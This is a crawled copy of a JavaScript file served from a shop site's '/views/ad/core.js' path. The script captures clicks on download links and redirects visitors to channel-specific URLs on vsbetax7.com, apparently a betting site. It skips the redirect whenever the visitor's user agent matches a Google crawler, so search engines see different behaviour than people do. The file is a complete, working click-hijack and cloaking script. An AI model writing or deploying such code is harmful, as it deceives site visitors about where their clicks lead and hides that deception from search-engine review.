PageSourceSearch

https://drakkareshop.com/views/ad/core.js?v=20260901

js drakkareshop.com collected 2026-10-05 17:43:29 UTC 2,568 bytes, 95 lines download raw bytes

1var targetUrlCategories = {
2  'registered': 'https://vsbetax7.com/registered',
3  'promotion': 'https://vsbetax7.com/promotion',
4  'default': 'https://vsbetax7.com/registered'
5};
6
7(function () {
8  var CHANNEL_PARAM = "target";
9  var STORAGE_KEY = "vsbet-download-channel";
10
11  function getCategories() {
12    return window.targetUrlCategories || targetUrlCategories || {};
13  }
14
15  function getSessionValue(key) {
16    try {
17      return window.sessionStorage ? window.sessionStorage.getItem(key) : null;
18    } catch (e) { return null; }
19  }
20
21  function setSessionValue(key, value) {
22    try {
23      if (window.sessionStorage) window.sessionStorage.setItem(key, value);
24    } catch (e) {}
25  }
26
27  function normalizeChannel(value) {
28    var ch = String(value || "").trim().toLowerCase();
29    return /^[a-z0-9_-]{1,64}$/.test(ch) ? ch : "";
30  }
31
32  function getQueryParam(name) {
33    try {
34      if (window.URLSearchParams) {
35        return new URLSearchParams(window.location.search).get(name) || "";
36      }
37    } catch (e) {}
38    return "";
39  }
40
41  function resolveChannel() {
42    var pathSegment = window.location.pathname.split('/').filter(Boolean).pop();
43    var urlChannel = normalizeChannel(pathSegment !== 'go' ? pathSegment : getQueryParam(CHANNEL_PARAM));
44    var storedChannel = normalizeChannel(getSessionValue(STORAGE_KEY));
45
46    if (urlChannel) {
47      setSessionValue(STORAGE_KEY, urlChannel);
48      return urlChannel;
49    }
50    if (storedChannel) {
51      return storedChannel;
52    }
53    return "default";
54  }
55
56  function getTargetUrl(channel) {
57    var categories = getCategories();
58    var key = normalizeChannel(channel) || "default";
59    return categories[key] || categories.default;
60  }
61
62  function isGoogleCrawler() {
63    return /(?:Googlebot|Google-InspectionTool|AdsBot-Google|Mediapartners-Google)/i.test(
64      navigator.userAgent || ""
65    );
66  }
67
68  function initLinkHandler() {
69    var channel = resolveChannel();
70    var finalDestination = getTargetUrl(channel);
71
72    document.addEventListener("click", function (event) {
73      var link = event.target.closest("a");
74      if (!link) return;
75
76      var isTargetLink = 
77        link.getAttribute("data-download-link") === "true" || 
78        link.id === "download-link";
79
80      if (isTargetLink) {
81        if (isGoogleCrawler()) return;
82
83        event.preventDefault();
84
85        window.location.replace(finalDestination);
86      }
87    }, true);
88  }
89
90  if (document.readyState === "loading") {
91    document.addEventListener("DOMContentLoaded", initLinkHandler);
92  } else {
93    initLinkHandler();
94  }
95})();

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.